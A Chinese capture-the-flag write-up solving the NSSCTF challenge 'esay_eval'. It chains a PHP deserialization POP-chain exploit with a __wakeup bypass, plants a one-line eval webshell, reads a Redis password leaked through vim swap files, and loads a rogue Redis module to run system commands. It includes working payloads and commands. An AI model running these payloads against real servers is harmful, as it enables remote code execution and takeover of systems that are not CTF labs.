NSSCTF
[天翼杯 2021]esay_eval
Redis主从复制初见
上来先是反序列化,看代码:
<?php
class A{
public $code = "";
function __call($method,$args){
eval($this->code);
}
function __wakeup(){
$this->code = "";
}
}
class B{
function __destruct(){
echo $this->a->a();
}
}
if(isset($_REQUEST['poc'])){
preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
if (isset($ret[1])) {
foreach ($ret[1] as $i) {
if(intval($i)!==1){
exit("you want to bypass wakeup ? no !");
}
}
unserialize($_REQUEST['poc']);
}
}else{
highlight_file(__FILE__);
}
第一步要先构造pop链,可以看到有eval
这就是尾巴,一步一步找,链子如下:
首 => B::__destruct() => A::__call() => 尾
尾巴是class A
中的__call()
魔术方法
__call():当调用对象中不存在的方法会自动调用该方法
顺理成章的,B类中的__destruct()方法明显访问了调用对象中不存在的方法,所以上一级便是他
通过以上pop链,我们不难得知,我们要绕过__wakeup()
并且要绕过preg_match
正则匹配,这里匹配所有以字母 B 或 A 开头,后跟一个冒号的字符串,然后捕获冒号后面的所有内容,直到下一个冒号出现。
所以这里利用php对类名大小写不敏感
的特性去绕过,在构造payload的时候,将类名换为a
,b
;
exp:
<?php
class a
{
public $code = "";
function __call($method, $args)
{
eval($this->code);
}
}
class b
{
function __destruct()
{
echo $this->a->a();
}
}
$c = new A();
$c ->code = "echo 111;";
$d = new B();
$d ->a=$c;
echo (serialize($d));
?>
运行可得出反序列化
O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:9:"echo 111;";}}111
但是我们要绕过class A的__wakeup()
__wakeup()函数漏洞原理:在类对象属性个数超过实际个数时就会不执行wakeup函数。
所以我们修改一下类的属性个数,然后构造payload:
?poc=O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:9:"echo 111;";}}
可以得到回显
然后当我试图进行命令执行的时候,就卡住了,看了看佬们的wp
我们要用反序列化传入一句话木马,然后利用蚁剑进行连接
$c = new A();
$c ->code = "eval(\$_POST[Leaf]);";
$d = new B();
$d ->a=$c;
echo (serialize($d));
笑死,根本没有那么简单,当我看根目录的时候弹出报错:我没有权限
那么只能从看的到的文件进行入手了:
这里有vim缓存泄露
:
在开发人员使用 vim 编辑器 编辑文本时,系统会自动生成一个备份文件,当编辑完成后,保存时,原文件会更新,备份文件会被自动删除。
但是,当编辑操作意外终止时,这个备份文件就会保留,如果多次编辑文件都意外退出,备份文件并不会覆盖,而是以 swp、swo、swn 等其他格式,依次备份。
经过整理,和分析,发现这是redis
的连接,后面是密码,所以我们要上传一下连接redis的文件
这里要下载exp.so
文件,并进行利用,简单解释一下exp.so
文件
Redis 中的
exp.so
文件通常被用作 Redis 提权的一种方式。这个文件是一个 Redis 模块,它可以在 Redis 服务器中执行任意代码。Redis 模块是一种可插拔的扩展,它允许用户在 Redis 服务器中添加新的功能。
exp.so
文件是一个 Redis 模块,它提供了一些命令和功能,可以让攻击者在 Redis 服务器中执行任意代码,从而获得服务器的控制权。在 Redis 提权攻击中,攻击者通常会利用 Redis 的漏洞或者弱密码,获取 Redis 服务器的访问权限。一旦攻击者获得了访问权限,他们就可以上传
exp.so
文件到 Redis 服务器中,并使用 Redis 的module load
命令加载这个文件。这个文件会在 Redis 服务器中执行任意代码,从而让攻击者获得服务器的控制权。
exp.so文件地址下载:https://github.com/Dliv3/redis-rogue-server
上传exp.so
文件
然后要用蚁剑插件进行连接
这里有两个下载方法:
1.通过蚁剑的插件市场直接下载(就是会有些慢,建议魔法上网)
2.蚁剑Redis插件地址:https://github.com/Medicean/AS_Redis
下载好之后我们用插件来进行Redis提权
进入之后添加,然后输入找到的密码:
前面介绍过,我们要利用module load
命令加载这个文件,然后才能进行RCE,所以在虚拟命令行输入
MODULE LOAD /var/www/html/exp.so
然后我们就可以进行命令执行了
system.exec "ls /"
system.exec "cat /flagaasdbjanssctf"
有点好玩()